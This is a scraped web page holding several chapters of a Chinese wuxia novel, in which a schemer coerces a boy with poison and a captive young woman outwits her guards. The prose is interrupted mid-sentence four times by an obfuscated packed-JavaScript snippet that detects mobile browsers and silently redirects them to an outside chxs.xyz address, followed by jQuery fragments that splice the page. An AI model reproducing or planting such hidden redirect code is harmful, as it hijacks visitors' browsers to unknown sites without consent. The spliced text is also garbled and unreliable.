;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14285569|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可我要告诉你,我不是你的工具!你瞧不上我,心里只装着你那个病痨鬼儿子,没关系!我会向你证明,我才是你最优秀、最值得关注的儿子……” “你说什么!他可是你的兄长!”魏菘泽勃然大怒,又想挥拳,仍是被魏彦成牢牢制住。 “我说错了吗?他成日躺在这儿,享受着你为他创造的一切优渥生活,可有为您的雄心壮志发挥过一点作用?没有!不仅如此,他还一心只顾着文远骥的女儿,不仅把她弄到身边保护着,甚至还为了她妨碍您的全盘筹划。” 他的话再次提醒魏菘泽,爱子已死,无可挽回。他立马没了力气,膝盖一软坐在了魏彦成的脚边。 魏彦成抓着他的手顺势蹲下,扶起他的上半身,以一种哄弄婴儿似的语调说道:“爹,你相信我,你想得到的一切我都会帮你得到,再把它双手捧给你……” “不……不要……不用了……”两行泪水自魏菘泽深陷的眼窝中淌下,他根本无法与魏彦成对视,正左右晃动着躲避儿子的脸。 “怎么?不过失败了一次,就没有斗志了?爹,你以前可不是这样的。以前无论发生了什么,你都是斗志昂扬,从不言弃。死了一个儿子又怎么样,那是他自己愿意的,死不足惜!” 魏彦成强行让父亲的头颅对着自己,“你看看我,看看我,我还在,我们还有人、有钱、有可以号令群雄的毒药,不怕从头再来!” 魏菘泽瞧着双眼猩红,越说越激动的儿子,只觉得疲惫不堪,他不再反抗,而是回视着魏彦成的眼睛,缓缓道:“我累了,不想再斗下去了……” “没关系,还有我,我来筹谋,我一定办得到!” 摇曳的烛火映照在魏彦成脸上,泛出一种奇怪的青色,有一瞬间,魏菘泽觉得儿子入了魔,完全不可理喻,可下一刻他就记起,多年前自己也是这样对宝藏和门主之位锲而不舍,孜孜以求,这才走到了今天这一步。 魏彦成还说着什么,他都听不到了,魏若琛曾经对他的那些吼叫回荡在脑海……他只是希望我陪着他……每次来金陵时,魏若琛看向他的欣喜眼神也闯入视线……比起能活多久,他更希望开开心心地过好这几年……还有她……当年她身染重病,自己却忙于外务,连她死前最后一面都没能见到…… 各种画面、声音、咒骂、责问纷至沓来,魏菘泽的脑子似要炸开了一般,也不知从哪里生出来的一股大力,他猛然挣脱魏彦成的怀抱,站了起来。 “错了……错了……大错特错……”魏菘泽口中念念有词,一路踉踉跄跄步出了正堂。 魏彦成怔忡在原地,望着父亲步履不稳的背影,失望、恼怒、愤恨同时扑倒了他。他不明白,为什么自己讥笑了、怒骂了、讨好了,却还是没能赶走这些充盈在自己身体里的不快和愤怒。他不喜欢,这些情绪只会让他变得软弱! “紫瑛……”他想起来,紫瑛还被他留在金陵,他现在最需要的就是她,只有她才能赶走那些恶魔,他要马上见到她。 198. 醒悟(一) 魏若琛自刎身死,魏菘泽再无斗志。 中毒之人全身无力,寸步难行,却还是拼了命地跟在骆雁声身后,生怕他突然走脱,解药就再也没了指望。 可骆雁声并不着急满足他们的愿望,待天魄门众人离去后,他才示意曲庭洲取出解药,分发给了所有中毒之人。服下解药一段时间后,众人四肢百骸才渐渐有了生机,骆雁声又一一检查,确保这一批解药没有问题才施施然离开。 旧部们对他说了许多感恩戴德、将涌泉相报的话,他都不理不睬,临走时才终于开口说了一句话:“贼船上去容易下来却难,诸位好不容易逃出生天,以后好自为之吧。” 然后他便转道向北,去追江邵谦一行人了。 这一次为了营救紫璇,除了留下必要的人手守山,天魄门几乎倾巢而出。文远骥担心魏菘泽以及那些旧部们仍不死心,或许会乘虚而入,让江邵谦立刻赶回去主持门中守卫。 江邵谦领命,带着天魄门众人及死难弟子的尸身,骑上了齐建霄分给他们的马匹随即上路。 贺新韵也要赶回贺家庄,她和许淑平离开后,庄内的一切事宜都交给了舅舅王振衡和谭修明。可王振衡本就是王氏的家主,在别地逗留太久并不合适,她得尽快回去将舅舅替换下来。 许淑平自出了魏宅便心事重重,在众人分道扬镳之际,突然说要回一趟秋山居。走之前请骆雁声帮忙照顾苏茂霖,骆雁声当即应下。 “还有璇儿。” 许淑平担心地瞧了一眼正跪在苏茂霖身边一动不动的紫璇,很是担心。 骆雁声点点头,依旧没有说话。许淑平这才让目光停留在他脸上片刻,看着这熟悉又似乎陌生的容颜,一时间百感交集却又无法吐露,只好别过脸,上马离去。 文远骥和江珺翊在此之前就已奔赴金陵,不过他们的目的地并非长风镖局,而是被魏彦成掳去的紫瑛。 *********************** 自被魏菘泽的手下送回金陵杜家宅院,紫瑛就一直不吃不喝,在屋中枯坐。桌上摆满了她爱吃的美味佳肴,她看都没看。之前服侍过她的婢女三番五次来劝她,她也漠然不语。 魏彦成俘虏文远骥和天魄门弟子的场面还历历在目,她蜷缩在床上,抱着膝盖,止不住瑟瑟发抖。爹和璇儿都落在敌人手上,如今肯定是危险重重,一想到他们随时都有可能身首异处,而自己就是那个愚蠢无知、亲自把危险带上太白山的人,她就无法原谅自己。 她委屈、失落、愤怒,她想呐喊,她想把眼前看到的所有东西都摔个粉碎,她甚至想要杀人,让那些在她耳边聒噪的婢女立刻消失……可她什么都没做,喊叫只会丢人现眼,让她更加难堪;这里的每一样东西都属于魏彦成,她不想沾染一点儿,也不想欠他分毫;至于杀人,说到底,她们又有什么错呢。 于是,无边的苦涩只能靠她自己消化下去。她一遍又一遍检视着自己记忆中和杜彦成……不对,应该是魏彦成,相遇的点点滴滴,她想知道,事情究竟是如何变成今天这个样子的。 更重要的是,反复感受被欺骗、被利用却懵然不知满心欢喜带给她的痛苦足以惩罚自己,让她对爹爹和妹妹的愧疚消减掉些许。 一直到天都黑了,紫璇仍然保持着原来的姿势,桌上的吃食也完好如初。杜宅的下人们焦急不已,想起主人“要好生照看”的吩咐,心里纷纷打起鼓来。 两个婢女再次敲门入内,直接伏在她脚边,紧接着有更多近身伺候的下人们也过来跪下, 紫瑛扫了一眼屋里黑压压的人群,无力道:“我不吃,你们不用劝了。” 为首的两个婢女声泪俱下地求她: “求姑娘行行好,吃两口吧。” “姑娘若熬坏了身子,少爷回来肯定会打死我们的!” “姑娘不为着自己,就当是做一回善事,帮帮我们吧。” 下人们七嘴八舌地说着求情的话,紫瑛只觉得可笑,我都落到这步田地了,为什么还要逼我? 她抓起枕头想往下砸,可在看到婢女哭花了的脸时硬生生忍住了。婢女只有十五岁,惶恐的脸上稚气未脱,让她想起了一个人。 紫瑛吐出一口闷气,攥紧的手也放开了枕头。 “我要见一个人。见到了我就吃两口,否则我宁可饿死在这里。” 下人们面面相觑,没有人敢轻易应承。 “姑娘想见的人是谁?可否先告诉婢子,也好容我们去和这里的护卫打听一下。”一个婢女道。 另一个婢女马上补充:“还请姑娘体谅,少爷吩咐要严加看……护您,院子里如今也来了很多护卫,除非必要,其他人一概都是不许进来的。” “我不管,我必须要见到他。至于能不能进来,怎么进来,你们去想办法。”紫瑛虽然不忍,却还是硬下心肠,故意装作蛮横的模样。 “姑娘要见哪个?” “刘从毅。我现在就要见他!” 下人们并不知道她说的这个人是谁,但只要是外面的人都不太可能进来,于是她们又想劝紫瑛体谅。 可紫瑛的回应却是:“你们不是说这里守卫森严吗?那还怕什么,难道我还能跑出去?你们少主的本事就只有这么大?” 下人们又对视了几眼,不再多话,为首的婢女立刻出去向园中守卫禀告。 其实紫瑛也拿不住刘从毅是不是还在魏彦成这里,她只知道刘从毅被赶下了太白山,就此消失也是有可能的。然而此时此刻,她迫切地想见到他。 她想知道,真实的魏彦成到底是什么样子。这里无论是下人还是打手,都听命于魏菘泽,绝不可能跟她说关于他的坏话。也只有他,才有可能对她生出同情,愿意和她讲一讲真话。 过了很长一段时间,婢女才引着一个男子快步穿过园子而来。 听到园内护卫询问的声音,紫瑛立刻跳下床,隔窗看到来的的确是刘从毅后才终于松了一口气。 刘从毅进来时头低低垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14294697|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,似乎不敢看她的眼睛。紫瑛浑然不觉,只吩咐婢女赶紧将饭菜热了来,婢女喜出望外,马上叫人来帮忙。 下人们端着碗盘离去,紫瑛才坐下来,看了一眼依然伫立门边的刘从毅,喊他:“既然来了,杵着干什么,过来坐下。” 刘从毅纹丝不动,触动了紫瑛适才勉强压下去的火气。 “让你坐你就坐!你要是真觉得对不起我,就别装死人!” 她的声音震天响亮,刘从毅吓得弹起来一下,然后才扭扭捏捏坐在了她的身侧。 吼了一嗓子之,紫瑛觉得胸口的郁闷居然有些舒缓,便又缓了一口气,恢复到平日里的声调和语气:“如你所见,我被魏彦成抓了,现如今被关在这里……” 她刚刚开了个头,刘从毅就已然有了反应。他终于肯把头抬起来,嘴巴大张,似乎难以置信。 “他抓了你?” “你进来的时候没看见那些守卫吗?他们都是魏彦成派来看着我的。”紫瑛没好气道,“这还得多亏了你,当着我的面和他做戏,让我和我爹对他深信不疑,才会中了他的计。如今我爹被他掳去,生死未卜,连带着璇儿可能都有危险……” 紫瑛越说越急,隐忍了许久的泪水也终于涌了上来。 看着落泪凝噎的她,刘从毅很是慌张,不仅是因为他不知道如何安慰紫瑛,也因为她刚刚说紫璇和她都因为自己遇到了难关。还有文远骥,他不仅把爹爹的宝刀还给了他,还是紫瑛两姐妹的爹爹。如果他果真因自己而死,那……岂不是又会害得她们没了亲人。 “对不起……我……”刘从毅犹豫着开了口,可除了无关痛痒的道歉,他还能说些什么呢? 婢女们把热好的饭菜端上来,紫瑛抱着脸一直低声哭泣,刘从毅局促不安,恨不得替文远骥和紫璇去死。 待婢女们再次退下,紫瑛才慢慢止住了哭声,她用袖子随意擦了两把眼泪,直勾勾望向刘从毅:“你跟我说实话,你上太白山行刺,是不是魏彦成指使的?” 刘从毅无声点头,然后才急冲冲说了几个字:“我是被逼的!”随后又小心觑着她的脸色,“你……你会相信我吗?” 紫瑛没有回应,只是说:“你先把事情详详细细讲一遍,要不要信你我自会判断。” 一切都和紫瑛猜想的差不多。刘从毅和他的小伙伴们被魏菘泽的人送往金陵,却不是向着栖霞寺,而是来到了钟山上的一所寺庙。齐雅雯和闻业大师当然不存在,看守他们的人虽是沙弥打扮,但言语粗鲁,实在和慈眉善目的僧人形象不符。 刘从毅在这群孩子中年纪最大,流落江湖时也见过不少三教九流,自然便有一些疑心。但他毕竟不是愣头青,这些怀疑他只跟两个同来自燕山派的兄弟提过,还嘱咐他们千万不要告诉其他孩子,免得惹出麻烦。 这之后,孩子们的衣食供应不缺,除了不允许他们出寺,一切都很正常。正当刘从毅渐渐放下警惕,认为自己或许只是多虑之时,他就被带到了魏彦成面前。 199. 醒悟(二) 再次见面,魏彦成不复之前的幽默与亲切模样,虽然仍是笑着,但刘从毅能够觉出这份笑容背后并没有关心与喜爱。 “我好吃好喝养了你们数月,可不是为了做什么善事结什么善缘。”魏彦成开门见山,直接点明了来意。 “你想让我帮你做什么?” “帮我?”魏彦成摇一摇折扇,撇嘴笑了笑:“你说的对,我的确想请你帮忙。燕山派与天魄门有血海深仇,把你们招来,就是为了对付天魄门。” “燕山派前掌门,也就是你的父亲刘鼎铭被文远骥逼死在太白山上,难道你不知道?”见刘从毅不解,他又补上一句,“若非如此,燕山派怎会失去倚仗,一夜之间被伏虎派夷为平地?” 此言一出,刘从毅自是大惊,他只知道燕山派被伏虎派灭派的传说,从未听闻刘鼎铭和天魄门有什么过节。 “你或许不知,燕山派在数十年之前其实也是天魄门的下属。只因它远在东隅,天魄门势力难以顾及才渐渐失去了对它的掌控。然而刘鼎铭却没忘记这一点,天魄门上一任门主故去之后,因门主归属天魄门中多有龃龉,大大小小争斗不断,最激烈的一次便是九年前的夺门之变。 “刘鼎铭参与夺门之变,不幸败北。被文远骥得知后,以燕山派上下的性命为要挟,逼他自刎于太白山。然后便传出了伏虎派全歼燕山派的事。你们想一想,燕山派落到这般惨烈的下场,始作俑者难道不是他文远骥?” “莫不是文远骥仍不肯放过我们燕山派,这才让伏虎派去杀人防火?”刘从毅气息急促,哑着嗓子发问。 “这个……实话实说我没有证据不敢妄言。但文远骥并非什么宽厚之人,有份参与过夺门之变的‘塞上神鹰’白凌啸、‘渭南三虎’陈氏兄弟等人无一不是被他以极残忍的手法诛戮殆尽。想必他也不会这么轻易就放了燕山派其他人吧。“ 魏彦成每说一句,刘从毅身上的戾气便被激起来一分,到了最后,他已然站了出来,正对着魏彦成,问他:“所以呢,你想让我杀了他!??” “不错,你很聪明。你想报仇,而我要对付天魄门,咱们的目标是一致,为何不携手合作?” 刘从毅没有急于应承,他还在忙着消化魏彦成刚刚所说的一切。 魏彦成也知他还需要时间,便亲切地拍了拍他的臂膀:“你回去慢慢想,想通了便叫人来找我。咱们再说下一步怎么办。” 第二次见面,魏彦成的笑容依然冷漠。 刘从毅也不和他废话,直接问:“我愿意与你合作,你需要我怎么做?” “不急。就算你现在就冲出去,也杀不了文远骥。” “那你要我帮你做什么?” “工欲善其事,必先利其器。你虽有几招三脚猫的功夫,但不成体统,要真和天魄门的人打起来,用不了两招就会给人打趴下。你现在我这里好好练武,等时机一到,我自会告诉你下一步该做什么。” 然后,刘从毅就再也没有回到那座寺庙,而是留在了金陵城中一处豢养打手的院落,每日学武练功。他走之前,只向自己的两个兄弟透露了要去练武报仇,并没有将所有的事说出来。 然而,时间一长,刘从毅的报仇的想法便不如一开始那么坚定。倒不是他放下了仇恨,而是因为自从魏彦成将文远骥和父亲的仇恨吐露出来后,许多过去遗忘的事情渐渐被他回想起来。其中就包括刘鼎铭西去太白山的前一天晚上,他对刘从毅说的那番话。 他思来想去,总觉得父亲当时的语气中并没有恐惧惊惶,反而更多的是自责和愧疚。虽然他那时只有六岁,但已经能够分辨父亲的情绪。 更何况,魏彦成所说的一切都只出自他一人之口,若他有意蒙蔽自己易如反掌。要想不被利用,就得多长一个心眼,设法探听一下文远骥到底是个怎样的人。 他每日和各种草莽出身的武人混在一处,又颇为伶俐,不难从他们口中探听到一些有关天魄门和文远骥的事情。 虽然这些人对文远骥和天魄门有诸多贬低之语,但听在刘从毅耳朵里,反而令他产生不少疑问。若文远骥果真如他们所说不思进取,偏安一隅,为何要到处杀人树敌?既然文远骥在十八年前就当上了天魄门的门主,那父亲九年前上太白山又为了什么?何况他还听说,九年前出现在太白山上的江湖人众多,并非所有人都死在了文远骥的复仇利刃之下,江湖人还据此嘲笑他不够血性,妇人之仁呢。 这样看来,魏彦成即便没有撒谎,但告诉他的也必然是精心挑选过的内容,为的是挑起他对文远骥和天魄门的仇恨,从而乖乖地做他手中的刀。 这之后他照旧每日练武,只有他自己心里清楚:自此往后,在这里的每一滴汗都为自己而流;他刘从毅定然不会受人摆布,辱没了燕山派的门楣。 又过了几个月,魏彦成终于来找他了。开口便是要他做好准备,设法进入太白山。至于上去之后干什么,他表示届时会让他知道的。 刘从毅有些疑惑:“我一个人去?” “对,就你一个人。太白山如今守卫严密,一般人根本进不去。你年纪小,还是个孩子模样,他们的警惕心便会小一些。” 魏彦成说完这些,又加上一句:“你必须自己想办法去郿县,或许会吃些苦头。但若是我帮你省去这些功夫,将来肯定要惹人怀疑。” “谁会怀疑?文远骥又不知道我是怎么去的太白山。” 魏彦成摇头不语,没有回答他的问题就走了。 也多亏了魏彦成的这道指令,刘从毅终于得以从豢养打手的院子中脱身。他还没想好要不要上太白山找文远骥问个清楚,但不管怎么样,当务之急不是报仇,而是先找到那两个同样来自燕山派的小兄弟,向他们说明原委,再设法把那些孩子救出来。 可惜他还是头脑太简单了些,他刚一溜入寺庙,找到两个兄弟还没有说话,就被寺中值守发现,被关了起来。 然后,魏彦成便再次出现,这一回,他的脸上连假笑都没有,唯余轻蔑和嘲弄。 “你不赶紧想办法往西,跑来这里做什么?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14304442|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我……我想他们了,走之前来……来看看。”刘从毅尽量稳住自己,编了一个还算说得过去的理由。 然而他眼中闪过的一丝慌乱并没有逃过魏彦成的眼睛,他冷笑着:“想他们了??哈哈哈,你看我像不像个傻子?” 魏彦成的眸子瞬间变得无比凌厉,他扭住刘从毅的衣襟,将跪在地上的他拉扯起来:“休想糊弄我!你偷偷跑到这里来,想干什么?!” 刘从毅咬着牙一言不发,他还什么都没和两个兄弟说,魏彦成即便怀疑自己,也找不出证据,只要自己抵死不说,就还有挽回的余地。 “莫不是你得知太白山守卫森严,你怕自己的小命丢在那里,所以生了怯意?”魏彦成松开他的衣领,将人扔到地上,“所以想带着你的两个兄弟逃跑?” 刘从毅还是不说话,魏彦成以为自己猜对了,蔑笑到:“草包!如此胆小,还谈什么报仇?!” 随即又换上一副笑意盈盈的面孔,蹲下来:“看来还是得我帮帮你。” 正当刘从毅惊疑不定,不知他所谓的“帮”是什么意思时,两个燕山派的小兄弟被人拖了进来。魏彦成一抬手,他的手下一边一个,将一枚褐色的药丸弹入了两人的口中。 两人剧烈咳嗽起来,手下捂住他们的嘴巴,硬是逼着他们将药丸咽了下去。 刘从毅大惊失色,急忙发问:“你给他们吃的是什么?” 魏彦成已经坐下,正好整以暇地摇着扇子:“还能是什么,当然是毒药。” 面对刘从毅和两个少年同时露出的惧怕表情,魏彦成很是满意:“放心,这毒并不剧烈,只是会让人每日丑时全身瘙痒难耐而已。只不过,如此痒上两三个月,心志再坚的人也往往难以抵受,恨不得直接死了才好。” “你!”刘从毅下肢用劲,立刻从地上翻起来,直击魏彦成的面门。可下一刻,他的手就被魏彦成扭向身后,一动都不能再动。 “你最好乖乖听话,办完了我给你的差事,他们就能得到解药。否则的话,我不介意直接要了你们的命。你要知道,没了你,我还有其他的选择可以接近文远骥。而你,只有这一个选择。” 刘从毅根本顾不上肩窝处传来的剧痛,脑子里转过了无数盘算,却没有一个能够救他和另外两个兄弟的办法。想到他们今后都要因自己而受苦,他的悔恨自责不比当年抱着自己的父亲少。 还能怎么办呢,这两个兄弟从小和他一起长大,又都是燕山派的遗孤,他无法只顾自己,舍弃他们。只能按照魏彦成的指示,离开金陵,一路向西,设法接近太白山。 魏彦成所料不错,因他是个半大小子,又凑巧因为之前的事满脸青肿,便被守山的弟子当作是误闯进太白山的孤儿,送到了江邵谦的面前。 刚在山上待了一天,紫瑛姐姐便来了,魏彦成竟然是和她一起上的山。 他很快明白,紫瑛紫璇都是文远骥的女儿,魏彦成不告诉他,是怕他因此动摇报仇的信念。而那个会和他在太白山上接头、指示他下一步行动的人,就是魏彦成自己。 200. 栈道 下人们都在嘀咕,也不知道那个叫刘从毅的和紫瑛姑娘昨天晚上都说了些什么,伤心了整整半日的紫瑛就跟换了个人似的,不仅开始乖乖吃饭,还恢复到之前住在这儿时的样子,会和婢女小厮们开玩笑。 即便是那些神情严肃,不苟言笑的守卫,她也能软语相对,还叫婢女把自己吃的点心果品什么的分给他们。 守卫们也都知道,这个女子是自家主人的紧要之人,不好得罪,虽然守在园子里,却也从不对她吆五喝六。 第三天吃过午饭,紫瑛逗了逗鸟,又在园子里逛了一小会儿,都觉得无趣。便同离自己最近的一个守卫道:“你们的头儿是谁,叫他来见我。” 守卫不明所以,但也不敢顶撞,立刻跑去,把这队守卫的头领楚丰叫了来。 当着紫瑛的面,楚丰稍稍欠身:“姑娘叫小的来,可是有什么吩咐?” “我要出门,你点几个人,陪我一起去。” 楚丰的眉头马上皱在了一起:“姑娘何必为难小的。主人吩咐过,务必……” “务必对我严加看守,绝不能让我跑了,对不对?”紫瑛打断他,还把他的词儿也说了出来。 楚丰神色微窘,他可不敢照着魏彦成的原话说,原本还打算稍稍润色一下呢。 紫瑛却没觉得有何不妥,似乎她已经接受了这个事实,甚至带了轻笑道:“所以我才叫你找人和我一起出去呀。你们每一个都是练家子,多来几个人看着,我肯定跑不掉,这样你就不必担心没法给魏彦成交差了。” “可是……” “可是什么?我在这呆得快要闷死了!你家少主只是让你们看住我别乱跑,又没说不准我出门。我就想去外面看一看,逛一逛,这都不行??” 紫瑛边说边跺脚,俨然便是一个骄纵恣意的女子。 楚丰的嘴被赌得死死的,觉得她说得也有道理,自己手上的人武功都不错,紫瑛武艺平平,无论哪一个对付她还不是手到擒来。 紫瑛瞧着他容色松动,遂又加上一个砝码,故意嘟嘴佯装生气:“魏彦成对我可从来都是千依百顺的!即便不许我走动,必也不愿让我有一丝不快!你不过是个护卫头子,怎敢如此托大!你等着,等他回来,我必得跟他告状!” “姑奶奶,小的,小的可没有对您不敬啊……”楚丰立马求饶,心想女人就是麻烦。 “怎么没有,让我不开心就是欺负我。你猜我就把这句话告诉他,他会怎么样?是会觉得我没事找事呢,还是认为你不懂规矩,欺侮了他的女人??” 楚丰咬着下唇,似乎魏彦成生气发火的脸就在眼前。他想了想,终于妥协道:“那姑娘答应我,绝不乱跑。还有,我也会贴身跟着姑娘,您可别嫌我碍事。” “那是当然。我只是想出去透口气,又不是要故意让你为难。更何况,在你们眼皮子底下,我一个根本跑不出去,何必浪费精力。” 楚丰见她说得坦然,又一副天真娇憨的模样,稍稍松了口气,立刻去叫人叫车。 紫瑛没有撒谎,坐马车出了杜宅后便让护卫带她到金陵城中最繁华的街面上。 楚丰担心她想趁着人多跑走,一路小心跟着她,可她却很少往人多的地方去,反而捡着客人稀疏的店铺,这里瞧一瞧,那里看一看,遇着合心意的就让楚丰拿钱买下来。 唯一多坐了一会儿的,是金陵城内最大的酒楼聚丰楼。那里的八宝鸭子最为出名,上一回紫瑛逗留金陵时,魏彦成也带她来过。 看到聚丰楼的招牌,想起八宝鸭子,紫瑛便对楚丰道:“中午的饭我没吃几口,这会儿也有点饿了,要不你们陪我一起吃一点?” 楚丰哪敢回话,立刻道:“小的不敢,姑娘自用吧,不必管我等。” 紫瑛点了点头:“也行,你要是觉得不自在,就给你们单点一桌,总不好叫我吃着你们看着吧。你家少爷也不缺这点钱。” 楚丰满口答应,还得谢谢她的体贴,同时劝道:“外面人多眼杂,姑娘还是要个包房吧。” “那是自然。” 紫瑛一口气点了不少菜,伙计好意提醒她一个人吃不了这么多,她扬眉不快道:“你管我呢,我点得再多也不会没钱付账!” 伙计暗暗瞄了一眼包房外另一张桌子上目光灼灼瞧着这边的护卫们,知道这不是个好惹的主儿。便闭上嘴巴赶紧下去。 菜很快上齐,紫瑛只吃了两口就又把伙计叫进来:“你们这八宝鸭子不太对,是掌勺的大师傅换了吗?” 伙计立马否认:“没有,好几年了,都是朱师傅亲自操刀,断不可能出问题。” “不信你尝尝,就是味道不对!”紫瑛不满蹙眉,带了些脾气道,“叫你们老板来!” 伙计可不敢得罪,立刻去外面叫人。 掌柜的已经在外面听了伙计的说明,一来便向紫瑛道:“这鸭子是今天一早朱师傅亲自腌制,点了单就给您现做的,肯定没问题。要不姑娘您再吃一口?” 紫瑛有些生气,拨拉着鸭肚子里的各色果品:“我还能讹你不成。你把腰弯下来,看看这里头的东西,就是和我上一回吃的不一样!” 掌柜的皱着眉头细心去看,果然发现不妥之处。 “我知道你们东家姓宋,也和他们家打过交道。你要是敢糊弄我,信不信我找他们告你去?” 掌柜的这才点了点头,马上端起那道八宝鸭子,给她赔罪道:“姑娘莫急、莫急,我这就给你换一道新的,成不成?” “你弄懂我的意思了么,就换新的?” “弄懂了弄懂了,这次是我们聚丰楼的不是,这道八宝鸭子,就不收您的钱了,您看如何?” 紫瑛这才满意,眼含笑意地看着掌柜的:“这还差不多。” 吃完饭,紫瑛又开始走走看看,一路逛着,就到了惠成商行的门口。肖掌柜还记得她,一看见她便马上迎了出来。 “文小姐,哪阵风把您吹来了?”他左右看看,又问,“少爷没和您一起过来?” 紫瑛笑道:“他有事要忙,把我一个人放在宅子里,很是没意思。这不正在各处闲逛散心呢嘛。” 听她这样说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14314633|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,肖掌柜更加热情起来:“我这里刚进了些打海上来的稀罕玩意儿,文小姐若是感兴趣,不如到我这里来看看新鲜?” “好啊,”紫瑛立刻抬脚往里走,边走边和肖掌柜说着,“上次在你这儿就长了好多见识。还有白茶,说实话从那以后我可再也没喝过那般香醇的茶叶。” 肖掌柜有意讨好他,马上应承道:“我这就让伙计给你沏一碗好茶,还有这金陵城里的时新果子,您尝一尝,怎么样?” “那就有劳了。”紫瑛喜笑颜开,仿若很乐意他的奉承。 楚丰一路跟着进门,见她似乎要在此久待,便让自己的手下将马车停好,然后带着人围到了紫瑛身边。 紫瑛回头看了他们一眼,对肖掌柜到:“这几位大哥都是你们少爷派来保护我的,一直跟在我左右也辛苦了,你给他们也弄些茶水吃食吧。” 肖掌柜马上答应。 紫瑛在后院库房逛了一阵,肖掌柜亲自介绍,看了些犀角、象牙、玛瑙、水晶等物。 她指着一个足有小孩头颅大小的贝壳类物品,问肖掌柜:“这是什么?好像和一般的贝壳不太一样。” “此物名为砗磲,长在海里,和贝类算是同属。只是它们所在的地方更深,采集不易。为了采这么一个,不知道要搭进去多少人命呢。”肖掌柜沾沾自喜,仿佛为它丢掉的性命越多就越显珍贵似的。 紫瑛按捺住不快和鄙夷,尽可能天真道:“它能拿来干嘛?丑丑的,也不好看。” 肖掌柜笑得更加得意:“您不知道,这个东西可贵价着呢。若把它打开,再把里面的肉全部剜掉,冲洗干净,光彩夺目的,可好看呢。达官贵人们愿意花费千金,买回去,豪横的直接用它当酒盏;雅致的,把里面出彩的薄壳揭下来做成头面首饰,无论怎样,都能彰显出主人家家底雄厚,不可一世呢。” 紫瑛又自在地逛了一段时间,然后让肖掌柜给他装了些小孩穿的衣裤以及稀罕吃食,还特地要了两大坛好酒并许多书籍、话本,通通装在了马车上。 上了车,紫瑛便向身边的楚丰道:“先前你家少爷不是带了一批小孩回金陵养着吗?他们是我找到的,你可知道?” “知道,上一回少主带您去看他们时,小的也跟着。” “那就好,天还早,你带我去看看他们吧。” 楚丰有些犹豫,紫瑛不耐烦道:“你又来了。你跟了我一路,可见到我有哪一刻想跑吗?” 楚丰马上摇头。 “那不就结了。我买了这么多东西,就是为了送过去给孩子们。我上次可是答应了,会很快再去看他们的。” 楚丰没法,立刻吩咐其余守卫,众人遂驾车往钟山方向。 见到孩子们,紫瑛自然又有一番对话逗乐,但一举一动都在护卫们的眼皮子底下,不管她有没有心逃跑,都不可能真的走出这座寺庙。 她在此只逗留了半个时辰,之后便再度坐上马车,回到了宅中。 看到紫瑛安然回来,不仅护卫们,伺候她的下人们也都把悬着的心放回到了肚子里。 201. 陈仓(一) 也不知是不是白天逛得太久身体乏累,紫瑛回来后连晚饭都没吃,只喝了一碗汤,便早早洗漱睡下,所居园子里的烛火也因此减去大半,只有院墙屋角处还挂着几个灯笼。 护卫们不敢懈怠,仍按照原来的安排守在院子各处,但比起白天的高度紧张,这个时候还是放松了许多。 夜风阵阵,树木新生的枝叶被风吹得哗哗响,更衬得园中寂静无声。守在紫瑛房门外的婢女小厮们也开始打起了瞌睡。 忽然之间,院墙一角发出一声闷响,紧接着一个守卫发出怪叫,下一刻楚丰已带着人赶了过来。 数个火把映照之下,一具尸体赫然躺在墙角下,左胸处一片碗大的血迹,显然是被人一刀致命。 恰在此时,远处传来衣衫翻动的声音,守卫们将火把举高,果然看到墙外出现了一个正奋力逃窜的女子背影。 火光之下,女子的衣衫雪白,和紫瑛白日里穿的一模一样! 楚丰心中骇然,立刻吩咐手下朝着那女子的方向追去。他自己也往前跑了两步,随即觉出不对,立马转身,往紫瑛的卧房而来。 糟糕的预感应验,紫瑛卧房的大门竟然被拉开了一道可容一人通过的缝隙!而门外的婢女小厮们犹在昏昏然不住点头。 楚丰从他们身前急掠而过,冲进房门后两步跃到床边,急忙掀起床外纱帐,床上空空如也,哪有半个人影!?? 他来不及多想,即刻折返,向院外火光所在的方向奔去,唯望他的手下能捉住逃窜的紫瑛。 